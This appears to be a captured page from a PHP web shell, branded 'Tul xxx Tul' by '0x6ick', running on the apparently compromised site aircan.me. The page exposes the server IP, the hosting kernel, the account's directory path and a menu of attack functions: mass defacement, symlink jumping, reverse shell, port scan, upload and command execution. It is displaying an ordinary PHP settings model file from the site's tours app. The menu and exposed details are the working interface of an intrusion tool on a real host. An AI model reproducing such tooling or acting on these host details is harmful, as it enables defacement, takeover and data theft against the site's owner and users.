Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
tours
/
app
/
models
/
Viewing: Setting.php
<?php declare(strict_types=1); class Setting extends Model { /** * Obtiene todas las configuraciones como un arreglo asociativo key => value */ public function getAllSettings(): array { if (!$this->db instanceof PDO) { return []; } $statement = $this->db->query('SELECT `key`, `value` FROM settings'); $results = $statement->fetchAll(PDO::FETCH_ASSOC) ?: []; $settings = []; foreach ($results as $row) { $settings[$row['key']] = $row['value']; } return $settings; } /** * Actualiza una configuración específica por su key */ public function updateSetting(string $key, ?string $value): bool { if (!$this->db instanceof PDO) { return false; } // Usamos una lógica de "upsert" para que si la llave no existe, se cree. // Usamos VALUES(`value`) para referenciar el valor que se intentó insertar. $statement = $this->db->prepare(' INSERT INTO settings (`key`, `value`) VALUES (:key, :value) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`) '); return $statement->execute([ 'key' => $key, 'value' => $value ]); } }
Coded With 💗 by
0x6ick